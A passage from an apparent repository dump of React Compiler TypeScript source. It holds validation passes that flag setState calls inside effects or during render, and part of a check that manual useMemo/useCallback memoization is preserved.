    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {\n  Environment,\n  HIRFunction,\n  IdentifierId,\n  isSetStateType,\n  isUseEffectHookType,\n  isUseEffectEventType,\n  isUseInsertionEffectHookType,\n  isUseLayoutEffectHookType,\n  isUseRefType,\n  isRefValueType,\n  Place,\n  Effect,\n  BlockId,\n} from '../HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n} from '../HIR/visitors';\nimport {createControlDominators} from '../Inference/ControlDominators';\nimport {isMutable} from '../ReactiveScopes/InferReactiveScopeVariables';\nimport {Result} from '../Utils/Result';\nimport {assertExhaustive, Iterable_some} from '../Utils/utils';\n\n/**\n * Validates against calling setState in the body of an effect (useEffect and friends),\n * while allowing calling setState in callbacks scheduled by the effect.\n *\n * Calling setState during execution of a useEffect triggers a re-render, which is\n * often bad for performance and frequently has more efficient and straightforward\n * alternatives. See https://react.dev/learn/you-might-not-need-an-effect for examples.\n */\nexport function validateNoSetStateInEffects(\n  fn: HIRFunction,\n  env: Environment,\n): Result<void, CompilerError> {\n  const setStateFunctions: Map<IdentifierId, Place> = new Map();\n  const errors = new CompilerError();\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'LoadLocal': {\n          if (setStateFunctions.has(instr.value.place.identifier.id)) {\n            setStateFunctions.set(\n              instr.lvalue.identifier.id,\n              instr.value.place,\n            );\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          if (setStateFunctions.has(instr.value.value.identifier.id)) {\n            setStateFunctions.set(\n              instr.value.lvalue.place.identifier.id,\n              instr.value.value,\n            );\n            setStateFunctions.set(\n              instr.lvalue.identifier.id,\n              instr.value.value,\n            );\n          }\n          break;\n        }\n        case 'FunctionExpression': {\n          if (\n            // faster-path to check if the function expression references a setState\n            [...eachInstructionValueOperand(instr.value)].some(\n              operand =>\n                isSetStateType(operand.identifier) ||\n                setStateFunctions.has(operand.identifier.id),\n            )\n          ) {\n            const callee = getSetStateCall(\n              instr.value.loweredFunc.func,\n              setStateFunctions,\n              env,\n            );\n            if (callee !== null) {\n              setStateFunctions.set(instr.lvalue.identifier.id, callee);\n            }\n          }\n          break;\n        }\n        case 'MethodCall':\n        case 'CallExpression': {\n          const callee =\n            instr.value.kind === 'MethodCall'\n              ? instr.value.property\n              : instr.value.callee;\n\n          if (isUseEffectEventType(callee.identifier)) {\n            const arg = instr.value.args[0];\n            if (arg !== undefined && arg.kind === 'Identifier') {\n              const setState = setStateFunctions.get(arg.identifier.id);\n              if (setState !== undefined) {\n                /**\n                 * This effect event function calls setState synchonously,\n                 * treat it as a setState function for transitive tracking\n                 */\n                setStateFunctions.set(instr.lvalue.identifier.id, setState);\n              }\n            }\n          } else if (\n            isUseEffectHookType(callee.identifier) ||\n            isUseLayoutEffectHookType(callee.identifier) ||\n            isUseInsertionEffectHookType(callee.identifier)\n          ) {\n            const arg = instr.value.args[0];\n            if (arg !== undefined && arg.kind === 'Identifier') {\n              const setState = setStateFunctions.get(arg.identifier.id);\n              if (setState !== undefined) {\n                const enableVerbose =\n                  env.config.enableVerboseNoSetStateInEffect;\n                if (enableVerbose) {\n                  errors.pushDiagnostic(\n                    CompilerDiagnostic.create({\n                      category: ErrorCategory.EffectSetState,\n                      reason:\n                        'Calling setState synchronously within an effect can trigger cascading renders',\n                      description:\n                        'Effects are intended to synchronize state between React and external systems. ' +\n                        'Calling setState synchronously causes cascading renders that hurt performance.\\n\\n' +\n                        'This pattern may indicate one of several issues:\\n\\n' +\n                        '**1. Non-local derived data**: If the value being set could be computed from props/state ' +\n                        'but requires data from a parent component, consider restructuring state ownership so the ' +\n                        'derivation can happen during render in the component that owns the relevant state.\\n\\n' +\n                        \"**2. Derived event pattern**: If you're detecting when a prop changes (e.g., `isPlaying` \" +\n                        'transitioning from false to true), this often indicates the parent should provide an event ' +\n                        'callback (like `onPlay`) instead of just the current state. Request access to the original event.\\n\\n' +\n                        \"**3. Force update / external sync**: If you're forcing a re-render to sync with an external \" +\n                        'data source (mutable values outside React), use `useSyncExternalStore` to properly subscribe ' +\n                        'to external state changes.\\n\\n' +\n                        'See: https://react.dev/learn/you-might-not-need-an-effect',\n                      suggestions: null,\n                    }).withDetails({\n                      kind: 'error',\n                      loc: setState.loc,\n                      message:\n                        'Avoid calling setState() directly within an effect',\n                    }),\n                  );\n                } else {\n                  errors.pushDiagnostic(\n                    CompilerDiagnostic.create({\n                      category: ErrorCategory.EffectSetState,\n                      reason:\n                        'Calling setState synchronously within an effect can trigger cascading renders',\n                      description:\n                        'Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. ' +\n                        'In general, the body of an effect should do one or both of the following:\\n' +\n                        '* Update external systems with the latest state from React.\\n' +\n                        '* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\\n\\n' +\n                        'Calling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. ' +\n                        '(https://react.dev/learn/you-might-not-need-an-effect)',\n                      suggestions: null,\n                    }).withDetails({\n                      kind: 'error',\n                      loc: setState.loc,\n                      message:\n                        'Avoid calling setState() directly within an effect',\n                    }),\n                  );\n                }\n              }\n            }\n          }\n          break;\n        }\n      }\n    }\n  }\n\n  return errors.asResult();\n}\n\nfunction getSetStateCall(\n  fn: HIRFunction,\n  setStateFunctions: Map<IdentifierId, Place>,\n  env: Environment,\n): Place | null {\n  const enableAllowSetStateFromRefsInEffects =\n    env.config.enableAllowSetStateFromRefsInEffects;\n  const refDerivedValues: Set<IdentifierId> = new Set();\n\n  const isDerivedFromRef = (place: Place): boolean => {\n    return (\n      refDerivedValues.has(place.identifier.id) ||\n      isUseRefType(place.identifier) ||\n      isRefValueType(place.identifier)\n    );\n  };\n\n  const isRefControlledBlock: (id: BlockId) => boolean =\n    enableAllowSetStateFromRefsInEffects\n      ? createControlDominators(fn, place => isDerivedFromRef(place))\n      : (): boolean => false;\n\n  for (const [, block] of fn.body.blocks) {\n    if (enableAllowSetStateFromRefsInEffects) {\n      for (const phi of block.phis) {\n        if (isDerivedFromRef(phi.place)) {\n          continue;\n        }\n        let isPhiDerivedFromRef = false;\n        for (const [, operand] of phi.operands) {\n          if (isDerivedFromRef(operand)) {\n            isPhiDerivedFromRef = true;\n            break;\n          }\n        }\n        if (isPhiDerivedFromRef) {\n          refDerivedValues.add(phi.place.identifier.id);\n        } else {\n          for (const [pred] of phi.operands) {\n            if (isRefControlledBlock(pred)) {\n              refDerivedValues.add(phi.place.identifier.id);\n              break;\n            }\n          }\n        }\n      }\n    }\n    for (const instr of block.instructions) {\n      if (enableAllowSetStateFromRefsInEffects) {\n        const hasRefOperand = Iterable_some(\n          eachInstructionValueOperand(instr.value),\n          isDerivedFromRef,\n        );\n\n        if (hasRefOperand) {\n          for (const lvalue of eachInstructionLValue(instr)) {\n            refDerivedValues.add(lvalue.identifier.id);\n          }\n          // Ref-derived values can also propagate through mutation\n          for (const operand of eachInstructionValueOperand(instr.value)) {\n            switch (operand.effect) {\n              case Effect.Capture:\n              case Effect.Store:\n              case Effect.ConditionallyMutate:\n              case Effect.ConditionallyMutateIterator:\n              case Effect.Mutate: {\n                if (isMutable(instr, operand)) {\n                  refDerivedValues.add(operand.identifier.id);\n                }\n                break;\n              }\n              case Effect.Freeze:\n              case Effect.Read: {\n                // no-op\n                break;\n              }\n              case Effect.Unknown: {\n                CompilerError.invariant(false, {\n                  reason: 'Unexpected unknown effect',\n                  loc: operand.loc,\n                });\n              }\n              default: {\n                assertExhaustive(\n                  operand.effect,\n                  `Unexpected effect kind \\`${operand.effect}\\``,\n                );\n              }\n            }\n          }\n        }\n\n        if (\n          instr.value.kind === 'PropertyLoad' &&\n          instr.value.property === 'current' &&\n          (isUseRefType(instr.value.object.identifier) ||\n            isRefValueType(instr.value.object.identifier))\n        ) {\n          refDerivedValues.add(instr.lvalue.identifier.id);\n        }\n      }\n\n      switch (instr.value.kind) {\n        case 'LoadLocal': {\n          if (setStateFunctions.has(instr.value.place.identifier.id)) {\n            setStateFunctions.set(\n              instr.lvalue.identifier.id,\n              instr.value.place,\n            );\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          if (setStateFunctions.has(instr.value.value.identifier.id)) {\n            setStateFunctions.set(\n              instr.value.lvalue.place.identifier.id,\n              instr.value.value,\n            );\n            setStateFunctions.set(\n              instr.lvalue.identifier.id,\n              instr.value.value,\n            );\n          }\n          break;\n        }\n        case 'CallExpression': {\n          const callee = instr.value.callee;\n          if (\n            isSetStateType(callee.identifier) ||\n            setStateFunctions.has(callee.identifier.id)\n          ) {\n            if (enableAllowSetStateFromRefsInEffects) {\n              const arg = instr.value.args.at(0);\n              if (\n                arg !== undefined &&\n                arg.kind === 'Identifier' &&\n                refDerivedValues.has(arg.identifier.id)\n              ) {\n                /**\n                 * The one special case where we allow setStates in effects is in the very specific\n                 * scenario where the value being set is derived from a ref. For example this may\n                 * be needed when initial layout measurements from refs need to be stored in state.\n                 */\n                return null;\n              } else if (isRefControlledBlock(block.id)) {\n                continue;\n              }\n            }\n            /*\n             * TODO: once we support multiple locations per error, we should link to the\n             * original Place in the case that setStateFunction.has(callee)\n             */\n            return callee;\n          }\n        }\n      }\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInRender.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {HIRFunction, IdentifierId, isSetStateType} from '../HIR';\nimport {computeUnconditionalBlocks} from '../HIR/ComputeUnconditionalBlocks';\nimport {eachInstructionValueOperand} from '../HIR/visitors';\n\n/**\n * Validates that the given function does not have an infinite update loop\n * caused by unconditionally calling setState during render. This validation\n * is conservative and cannot catch all cases of unconditional setState in\n * render, but avoids false positives. Examples of cases that are caught:\n *\n * ```javascript\n * // Direct call of setState:\n * const [state, setState] = useState(false);\n * setState(true);\n *\n * // Indirect via a function:\n * const [state, setState] = useState(false);\n * const setTrue = () => setState(true);\n * setTrue();\n * ```\n *\n * However, storing setState inside another value and accessing it is not yet\n * validated:\n *\n * ```\n * // false negative, not detected but will cause an infinite render loop\n * const [state, setState] = useState(false);\n * const x = [setState];\n * const y = x.pop();\n * y();\n * ```\n */\nexport function validateNoSetStateInRender(fn: HIRFunction): void {\n  const unconditionalSetStateFunctions: Set<IdentifierId> = new Set();\n  const errors = validateNoSetStateInRenderImpl(\n    fn,\n    unconditionalSetStateFunctions,\n  );\n  for (const detail of errors.details) {\n    fn.env.recordError(detail);\n  }\n}\n\nfunction validateNoSetStateInRenderImpl(\n  fn: HIRFunction,\n  unconditionalSetStateFunctions: Set<IdentifierId>,\n): CompilerError {\n  const unconditionalBlocks = computeUnconditionalBlocks(fn);\n  let activeManualMemoId: number | null = null;\n  const errors = new CompilerError();\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'LoadLocal': {\n          if (\n            unconditionalSetStateFunctions.has(instr.value.place.identifier.id)\n          ) {\n            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          if (\n            unconditionalSetStateFunctions.has(instr.value.value.identifier.id)\n          ) {\n            unconditionalSetStateFunctions.add(\n              instr.value.lvalue.place.identifier.id,\n            );\n            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);\n          }\n          break;\n        }\n        case 'ObjectMethod':\n        case 'FunctionExpression': {\n          if (\n            // faster-path to check if the function expression references a setState\n            [...eachInstructionValueOperand(instr.value)].some(\n              operand =>\n                isSetStateType(operand.identifier) ||\n                unconditionalSetStateFunctions.has(operand.identifier.id),\n            ) &&\n            // if yes, does it unconditonally call it?\n            validateNoSetStateInRenderImpl(\n              instr.value.loweredFunc.func,\n              unconditionalSetStateFunctions,\n            ).hasAnyErrors()\n          ) {\n            // This function expression unconditionally calls a setState\n            unconditionalSetStateFunctions.add(instr.lvalue.identifier.id);\n          }\n          break;\n        }\n        case 'StartMemoize': {\n          CompilerError.invariant(activeManualMemoId === null, {\n            reason: 'Unexpected nested StartMemoize instructions',\n            loc: instr.value.loc,\n          });\n          activeManualMemoId = instr.value.manualMemoId;\n          break;\n        }\n        case 'FinishMemoize': {\n          CompilerError.invariant(\n            activeManualMemoId === instr.value.manualMemoId,\n            {\n              reason:\n                'Expected FinishMemoize to align with previous StartMemoize instruction',\n              loc: instr.value.loc,\n            },\n          );\n          activeManualMemoId = null;\n          break;\n        }\n        case 'CallExpression': {\n          const callee = instr.value.callee;\n          if (\n            isSetStateType(callee.identifier) ||\n            unconditionalSetStateFunctions.has(callee.identifier.id)\n          ) {\n            if (activeManualMemoId !== null) {\n              errors.pushDiagnostic(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.RenderSetState,\n                  reason:\n                    'Calling setState from useMemo may trigger an infinite loop',\n                  description:\n                    'Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState)',\n                  suggestions: null,\n                }).withDetails({\n                  kind: 'error',\n                  loc: callee.loc,\n                  message: 'Found setState() within useMemo()',\n                }),\n              );\n            } else if (unconditionalBlocks.has(block.id)) {\n              const enableUseKeyedState = fn.env.config.enableUseKeyedState;\n              if (enableUseKeyedState) {\n                errors.pushDiagnostic(\n                  CompilerDiagnostic.create({\n                    category: ErrorCategory.RenderSetState,\n                    reason: 'Cannot call setState during render',\n                    description:\n                      'Calling setState during render may trigger an infinite loop.\\n' +\n                      '* To reset state when other state/props change, use `const [state, setState] = useKeyedState(initialState, key)` to reset `state` when `key` changes.\\n' +\n                      '* To derive data from other state/props, compute the derived data during render without using state',\n                    suggestions: null,\n                  }).withDetails({\n                    kind: 'error',\n                    loc: callee.loc,\n                    message: 'Found setState() in render',\n                  }),\n                );\n              } else {\n                errors.pushDiagnostic(\n                  CompilerDiagnostic.create({\n                    category: ErrorCategory.RenderSetState,\n                    reason: 'Cannot call setState during render',\n                    description:\n                      'Calling setState during render may trigger an infinite loop.\\n' +\n                      '* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\\n' +\n                      '* To derive data from other state/props, compute the derived data during render without using state',\n                    suggestions: null,\n                  }).withDetails({\n                    kind: 'error',\n                    loc: callee.loc,\n                    message: 'Found setState() in render',\n                  }),\n                );\n              }\n            }\n          }\n          break;\n        }\n      }\n    }\n  }\n\n  return errors;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidatePreservedManualMemoization.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {\n  DeclarationId,\n  Effect,\n  GeneratedSource,\n  Identifier,\n  IdentifierId,\n  InstructionValue,\n  ManualMemoDependency,\n  PrunedReactiveScopeBlock,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveScopeDependency,\n  ReactiveValue,\n  ScopeId,\n  SourceLocation,\n} from '../HIR';\nimport {Environment} from '../HIR/Environment';\nimport {printIdentifier, printManualMemoDependency} from '../HIR/PrintHIR';\nimport {\n  eachInstructionValueLValue,\n  eachInstructionValueOperand,\n} from '../HIR/visitors';\nimport {collectMaybeMemoDependencies} from '../Inference/DropManualMemoization';\nimport {\n  ReactiveFunctionVisitor,\n  visitReactiveFunction,\n} from '../ReactiveScopes/visitors';\nimport {getOrInsertDefault} from '../Utils/utils';\n\n/**\n * Validates that all explicit manual memoization (useMemo/useCallback) was accurately\n * preserved, and that no originally memoized values became unmemoized in the output.\n *\n * This can occur if a value's mutable range somehow extended to include a hook and\n * was pruned.\n */\nexport function validatePreservedManualMemoization(fn: ReactiveFunction): void {\n  const state = {\n    env: fn.env,\n    manualMemoState: null,\n  };\n  visitReactiveFunction(fn, new Visitor(), state);\n}\n\nconst DEBUG = false;\n\ntype ManualMemoBlockState = {\n  /**\n   * Tracks reassigned temporaries.\n   * This is necessary because useMemo calls are usually inlined.\n   * Inlining produces a `let` declaration, followed by reassignments\n   * to the newly declared variable (one per return statement).\n   * Since InferReactiveScopes does not merge scopes across reassigned\n   * variables (except in the case of a mutate-after-phi), we need to\n   * track reassignments to validate we're retaining manual memo.\n   */\n  reassignments: Map<DeclarationId, Set<Identifier>>;\n  // The source of the original memoization, used when reporting errors\n  loc: SourceLocation;\n\n  /**\n   * Values produced within manual memoization blocks.\n   * We track these to ensure our inferred dependencies are\n   * produced before the manual memo block starts\n   *\n   * As an example:\n   * ```js\n   * // source\n   * const result = useMemo(() => {\n   *   return [makeObject(input1), input2],\n   * }, [input1, input2]);\n   * ```\n   * Here, we record inferred dependencies as [input1, input2]\n   * but not t0\n   * ```js\n   * // StartMemoize\n   * let t0;\n   * if ($[0] != input1) {\n   *   t0 = makeObject(input1);\n   *   // ...\n   * } else { ... }\n   *\n   * let result;\n   * if ($[1] != t0 || $[2] != input2) {\n   *   result = [t0, input2];\n   * } else { ... }\n   * ```\n   */\n  decls: Set<DeclarationId>;\n\n  /*\n   * normalized depslist from useMemo/useCallback\n   * callsite in source\n   */\n  depsFromSource: Array<ManualMemoDependency> | null;\n  manualMemoId: number;\n};\n\ntype VisitorState = {\n  env: Environment;\n  manualMemoState: ManualMemoBlockState | null;\n};\n\nfunction prettyPrintScopeDependency(val: ReactiveScopeDependency): string {\n  let rootStr;\n  if (val.identifier.name?.kind === 'named') {\n    rootStr = val.identifier.name.value;\n  } else {\n    rootStr = '[unnamed]';\n  }\n  return `${rootStr}${val.path.map(v => `${v.optional ? '?.' : '.'}${v.property}`).join('')}`;\n}\n\nenum CompareDependencyResult {\n  Ok = 0,\n  RootDifference = 1,\n  PathDifference = 2,\n  Subpath = 3,\n  RefAccessDifference = 4,\n}\n\nfunction merge(\n  a: CompareDependencyResult,\n  b: CompareDependencyResult,\n): CompareDependencyResult {\n  return Math.max(a, b);\n}\n\nfunction getCompareDependencyResultDescription(\n  result: CompareDependencyResult,\n): string {\n  switch (result) {\n    case CompareDependencyResult.Ok:\n      return 'Dependencies equal';\n    case CompareDependencyResult.RootDifference:\n    case CompareDependencyResult.PathDifference:\n      return 'Inferred different dependency than source';\n    case CompareDependencyResult.RefAccessDifference:\n      return 'Differences in ref.current access';\n    case CompareDependencyResult.Subpath:\n      return 'Inferred less specific property than source';\n  }\n}\n\nfunction compareDeps(\n  inferred: ManualMemoDependency,\n  source: ManualMemoDependency,\n): CompareDependencyResult {\n  const rootsEqual =\n    (inferred.root.kind === 'Global' &&\n      source.root.kind === 'Global' &&\n      inferred.root.identifierName === source.root.identifierName) ||\n    (inferred.root.kind === 'NamedLocal' &&\n      source.root.kind === 'NamedLocal' &&\n      inferred.root.value.identifier.id === source.root.value.identifier.id);\n  if (!rootsEqual) {\n    return CompareDependencyResult.RootDifference;\n  }\n\n  let isSubpath = true;\n  for (let i = 0; i < Math.min(inferred.path.length, source.path.length); i++) {\n    if (inferred.path[i].property !== source.path[i].property) {\n      isSubpath = false;\n      break;\n    } else if (inferred.path[i].optional !== source.path[i].optional) {\n      /**\n       * The inferred path must be at least as precise as the manual path:\n       * if the inferred path is optional, then the source path must have\n       * been optional too.\n       */\n      return CompareDependencyResult.PathDifference;\n    }\n  }\n\n  if (\n    isSubpath &&\n    (source.path.length === inferred.path.length ||\n      (inferred.path.length >= source.path.length &&\n        !inferred.path.some(token => token.property === 'current')))\n  ) {\n    return CompareDependencyResult.Ok;\n  } else {\n    if (isSubpath) {\n      if (\n        source.path.some(token => token.property === 'current') ||\n        inferred.path.some(token => token.property === 'current')\n      ) {\n        return CompareDependencyResult.RefAccessDifference;\n      } else {\n        return CompareDependencyResult.Subpath;\n      }\n    } else {\n      return CompareDependencyResult.PathDifference;\n    }\n  }\n}\n\n/**\n * Validate that an inferred dependency either matches a source dependency\n * or is produced by earlier instructions in the same manual memoization\n * call.\n * Inferred dependency `rootA.[pathA]` matches a source dependency `rootB.[pathB]`\n * when:\n *   - rootA and rootB are loads from the same named identifier. Note that this\n *     identifier must be also named in source, as DropManualMemoization, which\n *     runs before any renaming passes, only records loads from named variables.\n *   - and one of the following holds:\n *       - pathA and pathB are identifical\n *       - pathB is a subpath of pathA and neither read into a `ref` type*\n *\n * We do not allow for partial matches on ref types because they are not immutable\n * values, e.g.\n * ref_prev === ref_new does not imply ref_prev.current === ref_new.current\n */\nfunction validateInferredDep(\n  dep: ReactiveScopeDependency,\n  temporaries: Map<IdentifierId, ManualMemoDependency>,\n  declsWithinMemoBlock: Set<DeclarationId>,\n  validDepsInMemoBlock: Array<ManualMemoDependency>,\n  env: Environment,\n  memoLocation: SourceLocation,\n): void {\n  let normalizedDep: ManualMemoDependency;\n  const maybeNormalizedRoot = temporaries.get(dep.identifier.id);\n  if (maybeNormalizedRoot != null) {\n    normalizedDep = {\n      root: maybeNormalizedRoot.root,\n      path: [...maybeNormalizedRoot.path, ...dep.path],\n      loc: maybeNormalizedRoot.loc,\n    };\n  } else {\n    CompilerError.invariant(dep.identifier.name?.kind === 'named', {\n      reason:\n        'ValidatePreservedManualMemoization: expected scope dependency to be named',\n      loc: GeneratedSource,\n    });\n    normalizedDep = {\n      root: {\n        kind: 'NamedLocal',\n        value: {\n          kind: 'Identifier',\n          identifier: dep.identifier,\n          loc: GeneratedSource,\n          effect: Effect.Read,\n          reactive: false,\n        },\n        constant: false,\n      },\n      path: [...dep.path],\n      loc: GeneratedSource,\n    };\n  }\n  for (const decl of declsWithinMemoBlock) {\n    if (\n      normalizedDep.root.kind === 'NamedLocal' &&\n      decl === normalizedDep.root.value.identifier.declarationId\n    ) {\n      return;\n    }\n  }\n  let errorDiagnostic: CompareDependencyResult | null = null;\n  for (const originalDep of validDepsInMemoBlock) {\n    const compareResult = compareDeps(normalizedDep, originalDep);\n    if (compareResult === CompareDependencyResult.Ok) {\n      return;\n    } else {\n      errorDiagnostic = merge(errorDiagnostic ?? compareResult, compareResult);\n    }\n  }\n  env.recordError(\n    CompilerDiagnostic.create({\n      category: ErrorCategory.PreserveManualMemo,\n      reason: 'Existing memoization could not be preserved',\n      description: [\n        'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. ',\n        'The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. ',\n        DEBUG ||\n        // If the dependency is a named variable then we can report it. Otherwise only print in debug mode\n        (dep.identifier.name != null && dep.identifier.name.kind === 'named')\n          ? `The inferred dependency was \\`${prettyPrintScopeDependency(\n              dep,\n            )}\\`, but the source dependencies were [${validDepsInMemoBlock\n              .map(dep => printManualMemoDependency(dep, true))\n              .join(', ')}]. ${\n              errorDiagnostic\n                ? getCompareDependencyResultDescription(errorDiagnostic)\n                : 'Inferred dependency not present in source'\n            }`\n          : '',\n      ]\n        .join('')\n        .trim(),\n      suggestions: null,\n    }).withDetails({\n      kind: 'error',\n      loc: memoLocation,\n      message: 'Could not preserve existing manual memoization',\n    }),\n  );\n}\n\nclass Visitor extends ReactiveFunctionVisitor<VisitorState> {\n  /**\n   * Records all completed scopes (regardless of transitive memoization\n   * of scope dependencies)\n   *\n   * Both @scopes and @prunedScopes are live sets. We rely on iterating\n   * the reactive-ir in evaluation order, as they are used to determine\n   * whether scope dependencies / declarations have completed mutation.\n   */\n  scopes: Set<ScopeId> = new Set();\n  prunedScopes: Set<ScopeId> = new Set();\n  temporaries: Map<IdentifierId, ManualMemoDependency> = new Map();\n\n  /**\n   * Recursively visit values and instructions to collect declarations\n   * and property loads.\n   * @returns a @{ManualMemoDependency} representing the variable +\n   * property reads represented by @value\n   */\n  recordDepsInValue(value: ReactiveValue, state: VisitorState): void {\n    switch (value.kind) {\n      case 'SequenceExpression': {\n        for (const instr of value.instructions) {\n          this.visitInstruction(instr, state);\n        }\n        this.recordDepsInValue(value.value, state);\n        break;\n      }\n      case 'OptionalExpression': {\n        this.recordDepsInValue(value.value, state);\n        break;\n      }\n      case 'ConditionalExpression': {\n        this.recordDepsInValue(value.test, state);\n        this.recordDepsInValue(value.consequent, state);\n        this.recordDepsInValue(value.alternate, state);\n        break;\n      }\n      case 'LogicalExpression': {\n        this.recordDepsInValue(value.left, state);\n        this.recordDepsInValue(value.right, state);\n        break;\n      }\n      default: {\n        collectMaybeMemoDependencies(value, this.temporaries, false);\n        if (\n          value.kind === 'StoreLocal' ||\n          value.kind === 'StoreContext' ||\n          value.kind === 'Destructure'\n        ) {\n          for (const storeTarget of eachInstructionValueLValue(value)) {\n            state.manualMemoState?.decls.add(\n              storeTarget.identifier.declarationId,\n            );\n            if (storeTarget.identifier.name?.kind === 'named') {\n              this.temporaries.set(storeTarget.identifier.id, {\n                root: {\n                  kind: 'NamedLocal',\n                  value: storeTarget,\n                  constant: false,\n                },\n                path: [],\n                loc: storeTarget.loc,\n              });\n            }\n          }\n        }\n        break;\n      }\n    }\n  }\n\n  recordTemporaries(instr: ReactiveInstruction, state: VisitorState): void {\n    const temporaries = this.temporaries;\n    const {lvalue, value} = instr;\n    const lvalId = lvalue?.identifier.id;\n    if (lvalId != null && temporaries.has(lvalId)) {\n      return;\n    }\n    const isNamedLocal = lvalue?.identifier.name?.kind === 'named';\n    if (lvalue !== null && isNamedLocal && state.manualMemoState != null) {\n      state.manualMemoState.decls.add(lvalue.identifier.declarationId);\n    }\n\n    this.recordDepsInValue(value, state);\n    if (lvalue != null) {\n      temporaries.set(lvalue.identifier.id, {\n        root: {\n          kind: 'NamedLocal',\n          value: {...lvalue},\n          constant: false,\n        },\n        path: [],\n        loc: lvalue.loc,\n      });\n    }\n  }\n\n  override visitScope(\n    scopeBlock: ReactiveScopeBlock,\n    state: VisitorState,\n  ): void {\n    this.traverseScope(scopeBlock, state);\n\n    if (\n      state.manualMemoState != null &&\n      state.manualMemoState.depsFromSource != null\n    ) {\n      for (const dep of scopeBlock.scope.dependencies) {\n        validateInferredDep(\n          dep,\n          this.temporaries,\n          state.manualMemoState.decls,\n          state.manualMemoState.depsFromSource,\n          state.env,\n          state.manualMemoState.loc,\n        );\n      }\n    }\n\n    this.scopes.add(scopeBlock.scope.id);\n    for (const id of scopeBlock.scope.merged) {\n      this.scopes.add(id);\n    }\n  }\n\n  override visitPrunedScope(\n    scopeBlock: PrunedReactiveScopeBlock,\n    state: VisitorState,\n  ): void {\n    this.traversePrunedScope(scopeBlock, state);\n    this.prunedScopes.add(scopeBlock.scope.id);\n  }\n\n  override visitInstruction(\n    instruction: ReactiveInstruction,\n    state: VisitorState,\n  ): void {\n    /**\n     * We don't invoke traverseInstructions because `recordDepsInValue`\n     * recursively visits ReactiveValues and instructions\n     */\n    this.recordTemporaries(instruction, state);\n    const value = instruction.value;\n    // Track reassignments from inlining of manual memo\n    if (\n      value.kind === 'StoreLocal' &&\n      value.lvalue.kind === 'Reassign' &&\n      state.manualMemoState != null\n    ) {\n      // Complex cases of inlining end up with a temporary that is reassigned\n      const ids = getOrInsertDefault(\n        state.manualMemoState.reassignments,\n        value.lvalue.place.identifier.declarationId,\n        new Set(),\n      );\n      ids.add(value.value.identifier);\n    }\n    if (\n      value.kind === 'LoadLocal' &&\n      value.place.identifier.scope != null &&\n      instruction.lvalue != null &&\n      instruction.lvalue.identifier.scope == null &&\n      state.manualMemoState != null\n    ) {\n      // Simpler cases of inlining assign to the original IIFE lvalue\n      const ids = getOrInsertDefault(\n        state.manualMemoState.reassignments,\n        instruction.lvalue.identifier.declarationId,\n        new Set(),\n      );\n      ids.add(value.place.identifier);\n    }\n    if (value.kind === 'StartMemoize') {\n      CompilerError.invariant(state.manualMemoState == null, {\n        reason: 'Unexpected nested StartMemoize instructions',\n        description: `Bad manual memoization ids: ${state.manualMemoState?.manualMemoId}, ${value.manualMemoId}`,\n        loc: value.loc,\n      });\n\n      if (value.hasInvalidDeps === true) {\n        /*\n         * ValidateExhaustiveDependencies already reported an error for this\n         * memo block, skip validation to avoid duplicate errors\n         */\n        return;\n      }\n\n      let depsFromSource: Array<ManualMemoDependency> | null = null;\n      if (value.deps != null) {\n        depsFromSource = value.deps;\n      }\n\n      state.manualMemoState = {\n        loc: instruction.loc,\n        decls: new Set(),\n        depsFromSource,\n        manualMemoId: value.manualMemoId,\n        reassignments: new Map(),\n      };\n\n      /**\n       * We check that each scope dependency is either:\n       * (1) Not scoped\n       *     Checking `identifier.scope == null` is a proxy for whether the dep\n       *     is a primitive, global, or other guaranteed non-allocating value.\n       *     Non-allocating values do not need memoization.\n       *     Note that this is a conservative estimate as some primitive-typed\n       *     variables do receive scopes.\n       * (2) Scoped (a maybe newly-allocated value with a mutable range)\n       *     Here, we check that the dependency's scope has completed before\n       *     the manual useMemo as a proxy for mutable-range checking. This\n       *     validates that there are no potential rule-of-react violations\n       *     in source.\n       *     Note that scope range is an overly conservative proxy as we merge\n       *     overlapping ranges.\n       *     See fixture `error.false-positive-useMemo-overlap-scopes`\n       */\n      for (const {identifier, loc} of eachInstructionValueOperand(\n        value as InstructionValue,\n      )) {\n        if (\n          identifier.scope != null &&\n          !this.scopes.has(identifier.scope.id) &&\n          !this.prunedScopes.has(identifier.scope.id)\n        ) {\n          